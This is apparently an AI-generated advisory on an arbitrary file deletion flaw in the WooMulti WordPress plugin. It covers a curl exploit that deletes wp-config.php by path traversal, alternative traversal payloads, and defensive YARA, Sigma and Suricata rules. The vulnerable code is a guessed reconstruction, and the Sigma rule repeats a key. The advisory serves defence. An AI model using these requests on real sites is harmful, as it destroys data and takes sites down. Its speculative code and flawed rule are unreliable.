CVE-2025-12835

Executive Summary

CVE-2025-12835 is a critical arbitrary file deletion vulnerability in the WooMulti WordPress plugin (versions up to and including 17). This plugin is designed to extend WooCommerce functionality for multi-vendor stores. The flaw resides in a file deletion endpoint that fails to validate a user-supplied file parameter, allowing any authenticated user (e.g., a subscriber) to delete arbitrary files on the server. This can lead to denial of service, data loss, or potential privilege escalation if critical system files (e.g., wp-config.php) are removed.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the repository or via the WordPress admin dashboard are affected. There is no known supply chain compromise of the plugin package itself, but the lack of a patch from the vendor (Woomulti) means the plugin should be considered abandoned and removed from all installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
• Base Score: 8.1 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. The vulnerability is trivial to exploit and can cause severe damage to the WordPress installation.

Deep Dive & Mechanics

The vulnerability exists in a file deletion function within the WooMulti plugin. The plugin likely provides an AJAX endpoint for vendors or administrators to delete files (e.g., product images, invoices). The code fails to sanitize or validate the file parameter, allowing path traversal attacks.

Root Cause: The plugin uses a function similar to unlink($_POST['file']) without checking if the file path is within an allowed directory (e.g., the uploads folder). An attacker can supply a path like ../../wp-config.php to delete critical WordPress configuration files.

Attack Flow:

1. Attacker authenticates as a subscriber (or any user with access to the vulnerable endpoint).
2. Attacker sends a POST request to the vulnerable AJAX action (e.g., admin-ajax.php?action=woomulti_delete_file) with a crafted file parameter.
3. The plugin deletes the specified file without validation.
4. The attacker can delete wp-config.php, .htaccess, or other critical files, causing site downtime or data exposure.

Vulnerable vs. Patched Code

Vulnerable Code (WooMulti <= 17):

add_action('wp_ajax_woomulti_delete_file', 'woomulti_delete_file_callback');
function woomulti_delete_file_callback() {
    $file = $_POST['file'];
    if (file_exists($file)) {
        unlink($file);
        echo 'File deleted.';
    }
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_woomulti_delete_file', 'woomulti_delete_file_callback');
function woomulti_delete_file_callback() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized.');
    }
    $file = sanitize_file_name($_POST['file']);
    $upload_dir = wp_upload_dir();
    $allowed_path = $upload_dir['basedir'];
    $full_path = realpath($allowed_path . '/' . $file);
    if (strpos($full_path, $allowed_path) !== 0) {
        wp_die('Invalid file path.');
    }
    if (file_exists($full_path)) {
        unlink($full_path);
        echo 'File deleted.';
    }
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WooMulti plugin (<= 17) installed and activated.
• A valid user account with at least Subscriber role.
• Knowledge of the AJAX action name (e.g., woomulti_delete_file).

Exploit Steps:

1. Log in as a subscriber and obtain a valid nonce (if required) by inspecting the plugin's JavaScript.
2. Send a POST request to delete a critical file:

curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
  --data 'action=woomulti_delete_file&file=../../wp-config.php' \
  --cookie 'wordpress_logged_in_xxx=...'

3. Verify deletion by attempting to access the site; it will likely break if wp-config.php is deleted.

Alternative Payloads:

• ../../.htaccess (Apache config)
• ../../wp-content/debug.log (sensitive logs)
• ../../wp-includes/version.php (version disclosure)

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to admin-ajax.php with action=woomulti_delete_file from low-privilege users.
• Alert on file deletion events for critical paths (e.g., wp-config.php, .htaccess).

Hardening:

• Immediately remove or disable the WooMulti plugin.
• Implement a Web Application Firewall (WAF) rule to block requests containing path traversal patterns (e.g., ../).
• Restrict file deletion capabilities to administrators only via custom code.

Indicators of Compromise (IOCs)

• File System: Missing wp-config.php, .htaccess, or other critical files.
• Logs: Apache/Nginx access logs showing POST requests to /wp-admin/admin-ajax.php with action=woomulti_delete_file and file=../../ patterns.
• WordPress Debug Log: Entries indicating failed database connections (if wp-config.php is deleted).
• Network: Outbound connections from the server to unknown IPs (if attacker uses the vulnerability to upload a webshell after deleting a file).

Detection Engineering

YARA Rule

rule Detect_WooMulti_File_Deletion_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-12835 in WooMulti plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12835"
    strings:
        $ajax_action = "woomulti_delete_file"
        $path_traversal = /\.\.\/|\.\.\\/
    condition:
        $ajax_action and $path_traversal
}

Sigma Rule

title: WooMulti Arbitrary File Deletion Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-ajax.php with woomulti_delete_file action and path traversal
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'admin-ajax.php'
        cs-post-body|contains: 'action=woomulti_delete_file'
        cs-post-body|contains: '../'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12835 WooMulti Arbitrary File Deletion"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=woomulti_delete_file"; http_client_body; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable/Remove the Plugin: Since no patch is available, the only safe action is to completely remove the WooMulti plugin from all WordPress installations.
2. Restore Deleted Files: If exploitation is suspected, restore wp-config.php, .htaccess, and other critical files from backup.
3. Rotate Credentials: Change all WordPress admin passwords and database credentials.

Long-Term Mitigation:

• Vendor Contact: Attempt to contact Woomulti for a patch; if unresponsive, consider the plugin abandoned.
• Alternative Plugin: Migrate to a supported multi-vendor plugin (e.g., Dokan, WC Vendors).
• Web Application Firewall: Deploy a WAF with rules to block path traversal and unauthorized file deletion attempts.
• File Integrity Monitoring: Implement a tool (e.g., Tripwire, OSSEC) to monitor critical file changes.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.